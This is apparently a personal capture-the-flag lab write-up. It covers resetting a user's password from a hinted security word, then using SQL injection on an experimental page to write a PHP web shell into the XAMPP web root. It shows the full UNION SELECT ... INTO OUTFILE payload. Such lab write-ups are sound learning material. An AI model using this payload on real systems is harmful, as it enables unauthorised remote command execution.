# 33033

![](https://77507245-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FFBsiDeuhN5SJcOCFJbtD%2Fuploads%2FHOgP8Iq3bmkMx3boud59%2F2022-07-12_16-54.png?alt=media\&token=b8f296a1-7aa1-44fe-b410-65eba6eaa89f)

So we see that the usernames are given to us, and some of them give us a hint as to which is the right word for the password reset prompt.&#x20;

With the jerry.devops username we were able to reset the password because the user's favorite word was "paranoid", which is something he hinted in the main page. We reset the password and we had access to this account.![](https://77507245-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FFBsiDeuhN5SJcOCFJbtD%2Fuploads%2F5g8jCxWKrMn0FSTPwCmK%2F2022-07-12_17-37.png?alt=media\&token=bcb5e20e-c0b2-4151-a8b2-62da1bf49088)

![](https://77507245-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FFBsiDeuhN5SJcOCFJbtD%2Fuploads%2Fop4LN3lnddOBz5qyBpK6%2F2022-07-12_17-38.png?alt=media\&token=a54f997e-31a8-4112-be02-89dc20c3097e)

Once we clicked on the experimental link on the bottom of the website we were greeted by another page, one that is vulnerable to SQLi ![](https://77507245-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FFBsiDeuhN5SJcOCFJbtD%2Fuploads%2F9XlogqUQmaS2girMZF9J%2F2022-07-12_17-38_1.png?alt=media\&token=e89e10a9-7d3d-4f1e-a85e-85b3ba02e27e)

To test for SQL injection I just typed ' . This broke the application, and we were then able to get a shell through SQL injection. This was new to me,  I have never thought about this before but this technique is something I will note and use for the future. &#x20;

If we remember correctly based on the phpinfo.php from the other ports we are able to see where the webserver is being hosted at. ![](https://77507245-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FFBsiDeuhN5SJcOCFJbtD%2Fuploads%2F7zA0EsouK1wanVnEHOz9%2F2022-07-12_17-40.png?alt=media\&token=82b3ac4d-f2b4-4a6e-914d-42c3eda8244f)

Knowing this, using SQL injection we are able to get a shell using the following query.

```
' UNION SELECT ("<?php echo passthru($_GET['cmd']);") INTO OUTFILE 'C:/xampp/htdocs/command.php'  -- -' 
```

![](https://77507245-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FFBsiDeuhN5SJcOCFJbtD%2Fuploads%2FoZYfeeWBohUazhtXonkx%2F2022-07-12_17-43.png?alt=media\&token=eb3e553b-8065-4727-a904-b1d4160ceb92)

After I had to play with the ports to see where the file was being stored at.&#x20;

